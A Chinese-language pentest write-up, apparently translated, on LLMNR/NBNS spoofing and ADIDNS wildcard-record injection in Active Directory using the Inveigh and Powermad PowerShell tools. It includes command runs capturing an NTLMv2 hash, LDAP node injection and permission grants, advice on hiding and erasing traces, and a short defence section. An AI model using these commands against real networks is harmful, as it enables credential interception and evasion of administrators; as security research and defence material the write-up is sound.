利用名称解析协议中的缺陷进行内网渗透是执行中间人（MITM）攻击的常用技术。有两个特别容易受到攻击的名称解析协议分别是链路本地多播名称解析（LLMNR）和NetBIOS名称服务（NBNS）。攻击者可以利用这两种协议来响应无法通过更高优先级的解析方法（如DNS）应答的请求。Active Directory（AD）环境中默认启用了LLMNR和NBNS，这使得这种类型的欺骗攻击将会成为一种非常有效的方式，既可以获得对域的初始访问权限，也可以在漏洞后期利用过程中提升域权限。为了在内网渗透的场景中使用这种攻击技术，我开发了Inveigh这个工具，这是一个基于PowerShell的LLMNR/NBNS欺骗工具，可以在已经拿到权限的AD主机上运行。

PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y
[*] Inveigh 1.4 Dev started at 2018-07-05T22:29:35
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 192.168.125.100
[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100
[+] LLMNR Spoofer = Enabled
[+] NBNS Spoofer = Enabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD Default Response = Enabled
[+] Real Time Console Output = Enabled
WARNING: [!] Run Stop-Inveigh to stop manually
[*] Press any key to stop real time console output
[+] [2018-07-05T22:29:53] LLMNR request for badrequest received from 192.168.125.102 [Response Sent]
[+] [2018-07-05T22:29:53] SMB NTLMv2 challenge/response captured from 192.168.125.102(INVEIGH-WKS2):
testuser1::INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:010100000000000071ADB439D114D401D5B48AB8C3EC8E010000000002000E0049004E00560045004900470048000100180049004E00560045004900470048002D0057004B00530031000400160069006E00760065006900670068002E006E00650074000300300049006E00760065006900670068002D0057004B00530031002E0069006E00760065006900670068002E006E00650074000500160069006E00760065006900670068002E006E00650074000700080071ADB438D114D401060004000200000008003000300000000000000000000000002000004FC481EC79C5F6BB2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A0010000000000000000000000000000000000009001E0063006900660073002F006200610064007200650071007500650073007400000000000000000000000000

在我开发Inveigh的整个过程中，我在域环境中进行了很多实验，从不同级别的权限的角度出发，深入研究了LLMNR/NBNS欺骗攻击过程。Inveigh的许多更新实际上都是在试图实现其他一些基于特权的使用功能。

最近，在Inveigh之外的一些研究工作，让我的脑海里出现了一个棘手的问题。如果你已经拥有了对域的非特权访问权限，那么执行LLMNR/NBNS欺骗甚至是执行基于名称解析的MITM攻击会是一种最佳的攻击方式吗？为了获得这个问题的答案，我不断的在研究可疑的AD角色配置，这个角色配置给了我一些找到问题答案的启发，即Active Directory集成DNS（ADIDNS）。

名称解析顺序

鉴于撰写本文的目的，我将简要介绍关于LLMNR / NBNS欺骗的两个关键部分。首先，在没有实现某些基于路由器的流量路由的情况下，LLMNR和NBNS请求分别包含在单个多播或广播域中。这可以极大地限制被入侵的系统和受到潜在特权欺骗攻击的会话的影响范围。其次，在默认情况下，Windows系统在尝试解析通过基于网络协议的名称解析请求时会使用以下优先级列表：

1.DNS

2.LLMNR

3.NBNS

尽管DNS不直接作为整个攻击中的一部分而被利用，但由于它控制了哪些请求能够交给LLMNR或NBNS处理，所以，实际上DNS对LLMNR/NBNS欺骗的有效性具有很大的影响。基本上来说，如果名称请求与DNS中列出的记录相匹配，则客户端通常不会尝试通过LLMNR和NBNS来解析请求。

在执行攻击时，我们是否真的需要满足基于网络的名称解析协议的层次结构所对应的解析顺序？是否有一种可以直接利用DNS进行解析的简单方法？记住我们在域中仅具有非特权访问权限这个限制条件，让我们看看在这个限制条件下我们必须使用什么才可以完成攻击。

Active Directory集成的DNS区域

域控制器和ADIDNS区域总是一起出现。每个域控制器通常都有一个可访问的DNS服务器，至少托管了默认的ADIDNS区域。

我要强调的第一个默认设置是ADIDNS区域的自主访问控制列表（DACL）。

从上图中，你可以看到，该区域默认情况下列出了具有"Authenticated Users"（已验证用户），"Create all child objects"（创建所有子对象）。经过身份验证的用户对域名的操作门槛相当低，当然，这类用户可以操作的域名也包括了不需要特权可以访问的目标。但是，我们要清楚我们该如何利用这个特性以及我们可以用它做什么？

修改ADIDNS区域

远程修改ADIDNS区域主要有两种方法。第一种是使用基于RPC的管理工具。要运行这些工具通常需要DNS管理员或者更高的权限，因此我不打算描述这些工具的功能。第二种方法是DNS动态更新。动态更新是专门用于修改DNS区域的DNS特定协议。在AD世界中，动态更新主要由计算机帐户所使用，用于添加和更新自己的DNS记录。

这将我们带到了另一个我们所感兴趣的ADIDNS区域的默认设置，即安全动态更新的启用状态。

动态更新

去年，为了在漏洞后期利用期间更轻松地利用此默认设置，我开发了一个名为Invoke-DNSUpdate的PowerShell DNS动态更新工具。

PS C:\Users\kevin\Desktop\Powermad> Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose
VERBOSE: [+] TKEY name 648-ms-7.1-4675.57409638-8579-11e7-5813-000c296694e0
VERBOSE: [+] Kerberos preauthentication successful
VERBOSE: [+] Kerberos TKEY query successful
[+] DNS update successful

一旦了解了如何将权限应用于DNS记录，那么使用安全动态更新的规则就变得非常简单。如果区域中并不存在匹配的DNS记录名称，则经过身份验证的用户就可以创建相应的DNS记录。创建者帐户将获得DNS记录的所有权或完全控制权。

如果DNS区域中已存在匹配的记录名称，则将禁止经过身份验证的用户修改或删除记录，除非用户具有所需的权限，例如用户是管理员的情况。请注意，我正在使用DNS记录名称而不是DNS记录。在这方面，标准的DNS视图可能会令人困惑。实际上，权限是根据DNS记录名称而不是在DNS控制台中查看的单个DNS记录来应用的。

例如，如果管理员创建了名为"test"的记录，则非特权帐户无法创建第二条名为"test"的记录来作为DNS循环设置的一部分。这也适用于多种DNS记录类型。如果DNS区域的根区域存在默认的A记录，则非特权帐户无法为DNS区域创建根MX记录，因为两个记录在内部都被命名为"@"。在本文中，我们将从另一个角度查看DNS记录，这会提供更好的按名称分组的ADIDNS记录视图。

以下是默认的记录，可防止非特权帐户的操作影响到Kerberos和LDAP等AD服务。

对于可以通过非特权用户的动态更新所创建的记录类型，几乎没有任何限制。允许创建的类型仅限于Windows服务器动态更新实现所支持的类型。一般支持最常见的记录类型。Invoke-DNSUpdate目前支持A，AAAA，CNAME，MX，PTR，SRV和TXT记录。总的来说，如果可以识别出不存在的且值得添加的DNS记录，那么单独的安全动态更新肯定是可以被攻击者利用的。

使用动态更新补充LLMNR / NBNS欺骗

为了使安全动态更新武器化并能够像LLMNR / NBNS欺骗类似的方式运行，我研究了如何将记录注入到ADIDNS中来匹配并响应收到的LLMNR / NBNS请求。理论上讲，DNS中不应该存在能够降至LLMNR / NBNS的记录。因此，这些记录确实需要已经过身份验证的用户来创建。此方法不实用于在内网中不常见的或只有一次请求的名称。但是，如果你通过LLMNR / NBNS继续看到了相同的请求，则将该记录添加到DNS可能会有所帮助。

在即将推出的Inveigh版本中包含了这种技术的变体。如果Inveigh从多个系统检测到相同的LLMNR / NBNS请求，则可以将匹配记录添加到ADIDNS。当系统发送已经不在DNS中存在的旧主机的LLMNR / NBNS名称解析请求时，这种方法可能很有效。如果子网内的多个系统正在尝试解析一个特定的名称，那么外部的系统也有可能正在尝试解析相同的名称。在这种情况下，注入ADIDNS有助于将攻击扩展到子网边界。

PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y -DNS Y -DNSThreshold 4
[*] Inveigh 1.4 Dev started at 2018-07-05T22:32:37
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 192.168.125.100
[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100
[+] LLMNR Spoofer = Enabled
[+] DNS Injection = Enabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD Default Response = Enabled
[+] Real Time Console Output = Enabled
WARNING: [!] Run Stop-Inveigh to stop manually
[*] Press any key to stop real time console output
[+] [2018-07-05T22:32:52] LLMNR request for dnsinject received from 192.168.125.102 [Response Sent]
[+] [2018-07-05T22:33:00] LLMNR request for dnsinject received from 192.168.125.100 [Response Sent]
[+] [2018-07-05T22:35:00] LLMNR request for dnsinject received from 192.168.125.104 [Response Sent]
[+] [2018-07-05T22:41:00] LLMNR request for dnsinject received from 192.168.125.105 [Response Sent]
[+] [2018-07-05T22:50:00] LLMNR request for dnsinject received from 192.168.125.106 [Response Sent]
WARNING: [!] [2018-07-05T22:33:01] DNS (A) record for dnsinject added

记住方式

在尝试寻找理想的安全动态更新攻击时，我在协议本身或已经存在的默认DNS记录这块遇到了困难。因为，如前面所述，我曾计划在Inveigh中实现动态更新攻击，于是我开始更多地思考如何在渗透测试中使用这种技术。为了帮助渗透测试人员确认这种攻击确实可以起作用，我意识到创建一个PowerShell函数会有所帮助，该函数可以通过非特权帐户的上下文查看ADIDNS区域的权限。但是，如果不使用只有管理员才有权限使用的工具，我能否可以远程枚举DACL呢？在我的大脑中没有参与ADIDNS研究的那一部分立即回答道："DNS区域存储在AD中，只需通过LDAP查看DACL"。

LDAP …

……看来还有另外一种查看DNS区域的方式我没有用过。

我回想了我在当网络管理员的工作期间可能遇到的事情，我发现ADIDNS区域当前存储在DomainDNSZones或ForestDNSZones分区中。

LDAP为"经过身份验证的用户"提供了一种可以在不依赖动态更新的情况下修改ADIDNS区域的方法。通过创建dnsNode类的AD对象，可以直接通过LDAP将DNS记录添加到ADIDNS区域。

通过这种简单的理解，我现在有了一种执行我一直在追逐的DNS攻击的方法。

通配符记录

通配符记录允许DNS以一种与LLMNR / NBNS欺骗非常类似的方式运行。创建通配符记录后，DNS服务器将使用该记录来响应包含在区域中但未明确匹配到的记录的名称请求。

PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord
Name                            Type   TTL   Section    IPAddress
----                            ----   ---   -------    ---------
NoDNSRecord.inveigh.net         A      600   Answer     192.168.125.100

与LLMNR / NBNS不同，通配符记录还会解析与ADIDNS区域匹配到的完全限定名称的请求。

PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord2.inveigh.net
Name                            Type   TTL   Section    IPAddress
----                            ----   ---   -------    ---------
NoDNSRecord2.inveigh.net        A      600   Answer     192.168.125.100

我使用通配符记录进行注入的过程被动态更新本身的一些限制所阻止。对于动态更新，至少Windows系统在实现的时候似乎没有正确处理'*'字符。但是，LDAP却没有同样的问题。

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+] ADIDNS node * added

名称

我们把研究的步伐后退一步，让我们看一下DNS节点是如何用于形成ADIDNS记录的。ADIDNS记录的主要结构存储在dnsRecord属性中。此属性定义了一些元素，比如记录类型，目标IP地址或主机名以及静态与动态分类之类的元素。

名称之外的所有关键记录的详细信息都存储在dnsRecord中。如果你有兴趣，可以在MS-DNSP中找到有关属性结构的更多信息。

我创建了一个名为New-DNSRecordArray的PowerShell函数，它可以为A，AAAA，CNAME，DNAME，MX，NS，PTR，SRV和TXT这些记录类型创建一个dnsRecord数组。

PS C:\Users\kevin\Desktop\Powermad> $dnsRecord = New-DNSRecordArray -Type A -Data 192.168.125.100
PS C:\Users\kevin\Desktop\Powermad> [System.Bitconverter]::ToString($dnsrecord)
04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64

正如我之前所提到的，LDAP可以更好地查看匹配到名称的DNS记录是如何组合在一起的。单个DNS节点可以在dnsRecord属性中包含多行。每行代表一个具有相同名称的单独的DNS记录。下面是名称为"@"的节点的dnsRecord属性中包含的多个记录的示例。

可以通过在结尾附加而不是覆盖现有属性值的方式将新的行添加到节点的dnsRecord属性中。我创建的用于编辑属性的PowerShell函数Set-ADIDNSNodeAttribute有一个'Append'开关可以用来执行此操作。

ADIDNS同步和复制

通过LDAP修改ADIDNS区域时，你可能会发现节点添加到LDAP与在DNS中出现该记录之间会有延迟。这是因为DNS服务器的服务正在使用它自己的ADIDNS区域的内存副本。默认情况下，DNS服务器每隔180秒会把内存中的副本与AD进行同步。

在大型的多站点的AD基础架构中，域控制器复制时间可能是发起ADIDNS欺骗攻击的一个因素和时机。在企业内网中，为了充分扩大并利用我们添加的记录所影响的范围，攻击时间需要延长复制延迟的时间。默认情况下，站点之间的复制最多可能需要三个小时。要减少延迟，可以通过定位一台攻击效果最大的DNS服务器来启动攻击。尽管在内网环境中向每个DNS服务器添加记录并在复制之前跳转可以起作用，但请记住，一旦复制完成，AD将需要对重复对象进行排序。

SOA序列号

使用ADIDNS区域有另外一个需要考虑的因素是网络上可能存在其他集成的DNS服务器。如果服务器托管了从属的DNS区域，则序列号会用于确定是否发生了更改。幸运的是，通过LDAP添加DNS节点时，序列号会递增。递增的序列号需要包含在节点的dnsRecord数组中，确保可以将记录复制到托管从属区域的服务器。区域的SOA序列号是所有节点的dnsRecord属性中列出的数字最高的一个序列号。在这里需要注意的是SOA序列号只递增1，防止区域的序列号出现不必要地大量递增。我创建了一个名为New-SOASerialNumberArray的PowerShell函数，简化了这个过程。

PS C:\Users\kevin\Desktop\Powermad> New-SOASerialNumberArray
62
0
0
0

SOA序列号也可以通过nslookup获得。

PS C:\Users\kevin\Desktop\Powermad> nslookup
Default Server:  UnKnown
Address:  192.168.125.10
> set type=soa
> inveigh.net
Server:  UnKnown
Address:  192.168.125.10
inveigh.net
        primary name server = inveigh-dc1.inveigh.net
        responsible mail addr = hostmaster.inveigh.net
        serial  = 255
        refresh = 900 (15 mins)
        retry   = 600 (10 mins)
        expire  = 86400 (1 day)
        default TTL = 3600 (1 hour)
inveigh-dc1.inveigh.net internet address = 192.168.125.10

收集的序列号可以直接提供给New-SOASerialNumberArray使用。在这种情况下，New-SOASerialNumberArray将跳过连接到DNS服务器的过程，并直接使用你指定的序列号。

维持节点控制

一旦使用经过身份验证的用户创建了节点，创建者帐户将拥有该节点的所有权或完全控制权。"Authenticated Users"主体本身不会在节点的DACL中列出。因此，失去对创建者帐户的访问权限可能会导致你无法删除已添加的记录。为了避免这种情况，可以在创建节点时将dNSTombstoned属性设置为"True"。

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BC-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+] ADIDNS node * added

这使得节点处于一种任何一个经过身份验证的用户都可以执行节点修改的状态。

或者，可以修改节点的DACL来授予对其他用户或组的访问权限。

PS C:\Users\kevin\Desktop\Powermad> Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
[+] ACE added for Authenticated Users to * DACL

拥有创建者帐户的所有权和节点上列出的完全控制权限可以使网络管理员在发现你添加的记录时变得非常容易。虽然可以更改节点的所有权，但是这需要你拥有SeRestorePrivilege的令牌。

节点逻辑删除

记录的清除并不像从LDAP中删除节点那么简单。如果这样做的话，记录仍然保留在DNS服务器内存中的区域副本中，直到重新启动服务或手动重新加载ADIDNS区域。此外，180秒的AD同步并不会从DNS中删除记录。

通常在ADIDNS区域中删除记录时，同时也将从内存中的DNS区域副本中删除该记录，并且该节点对象仍保留在AD中。要完成清除工作，节点的dNSTombstoned属性需要设置为"True"，并使用包含墓碑化时间戳的零类型来填充更新的dnsRecord属性。

删除记录不一定需要你自己生成有效的零类型数组。如果dnsRecord属性填充了无效值（例如只有0x00），则在下一次AD 和 DNS同步期间，该值将自动切换为零类型数组。

为了简化清理工作，我创建了一个名为Disable-ADIDNSNode的PowerShell函数，它会更新dNSTombstoned和dnsRecord属性。

PS C:\Users\kevin\Desktop\Powermad> Disable-ADIDNSNode -Node * -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
[+] ADIDNS node * tombstoned

对于在有多个记录的DNS节点中作为单个dnsRecord属性行存在的记录，清理过程略有不同。只需删除相关的dnsRecord属性行并等待同步或复制。Set-DNSNodeAttribute可用于完成此清理操作。

如果你决定通过LDAP或动态更新处理现有的记录，则需要注意有关墓碑节点的事项。正常记录的删除过程也会将dNSTombstoned属性设置为"True"。处于此状态的记录被认为是老的记录，如果设置为"True"，则可以进行清理。如果未启用清理，这些记录可能会在DNS中驻留一段时间。在没有启用清理功能的测试实验室中，我经常会看到最初由计算机帐户注册的过时记录。使用过时记录时应多加小心。虽然它们肯定是攻击的潜在目标，但它们也可能会因为错误地操作而被覆盖或删除。

节点删除

完全删除DNS和AD中的DNS记录可以更好地抹除你的渗透痕迹。抹除记录需要首先进行节点墓碑化。当AD 和DNS同步以后，要删除内存中的记录，可以通过LDAP删除节点。然而复制使得清理工作变得很棘手。不过只需在单个域控制器上快速执行这两个步骤，就会将节点删除任务复制到其他域控制器上。在这种情况下，记录将保留在除一个域控制器之外的所有内存区域的副本中。在渗透测试期间，可以使用常用的从ADIDNS删除记录的方式清理墓碑节点。

防御ADIDNS攻击

不幸的是，目前还没有已知的针对ADIDNS攻击的防御措施。

好吧，实际上，有几个很容易部署的防御方案，其中一个是使用静态通配符记录。要防御潜在的ADIDNS欺骗攻击，最简单的方法是保持对关键的DNS记录的控制。例如，以管理员身份创建静态通配符记录可以阻止非特权帐户创建自己的通配符记录。

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BD-00-00-00-00-00-02-58-00-00-00-00-20-D8-37-00-C0-A8-7D-64
[-] Exception calling "SendRequest" with "1" argument(s): "The object exists."

记录可以指向你选择的黑洞方法，例如0.0.0.0。

由管理员所控制的通配符记录的另外一个好处是该记录还能防御LLMNR / NBNS欺骗攻击。通配符将通过DNS响应区域内的所有名称请求，并防止名称请求下降到LLMNR / NBNS而被解析。我强烈建议管理员控制的通配符记录作为LLMNR / NBNS欺骗的一般防御手段。

你还可以修改ADIDNS区域的DACL，更进一步提高防御能力。具体的设置需要根据特定的环境来操作。幸运的是，在实际情况中，要求允许"已经过身份验证的用户"创建记录的可能性非常低。因此，当然存在DACL强化的空间。请记住，将记录创建限制为仅限管理员和计算机帐户可能仍会提供很多攻击时机，并且攻击者无需保持对关键记录的控制。

最终获胜者

与LLMNR / NBNS欺骗相比，ADIDNS欺骗的主要优点是攻击范围比较大，主要的缺点是需要访问AD所需的权限。让我们面对现实吧，我们不一定需要一个更好的LLMNR / NBNS欺骗方法。回顾过去，早在LLMNR欺骗攻击出现之前，NBNS欺骗就已经是一个严重的安全问题了。LLMNR和NBNS欺骗攻击一直都是有效的。我研究ADIDNS欺骗攻击已经有一段时间了，所以我的一般建议是，从LLMNR / NBNS欺骗开始，并根据需要引入ADIDNS欺骗。LLMNR / NBNS和ADIDNS技术实际上是相互补充的。

为帮助你做出自己的决定，下面的表格包含了一些ADIDNS，LLMNR和NBNS欺骗攻击的一般特征：

免责声明：除了能够具有超过标准的LLMNR/NBNS欺骗攻击能力之外，ADIDNS区域仍有许多领域需要探索。

相关工具！

我发布了一个新版的Powermad，它包含了几个用于处理ADIDNS的功能，包括本文中描述的一些功能：

https://github.com/Kevin-Robertson/Powermad

我将按步骤说明完善Powermad 的 wiki：

https://github.com/Kevin-Robertson/Powermad/wiki

此外，如果你想参与到代码的开发中来，你可以在dev分支中找到一个实现了ADIDNS欺骗攻击的Inveigh 1.4版本：

https://github.com/Kevin-Robertson/Inveigh/tree/dev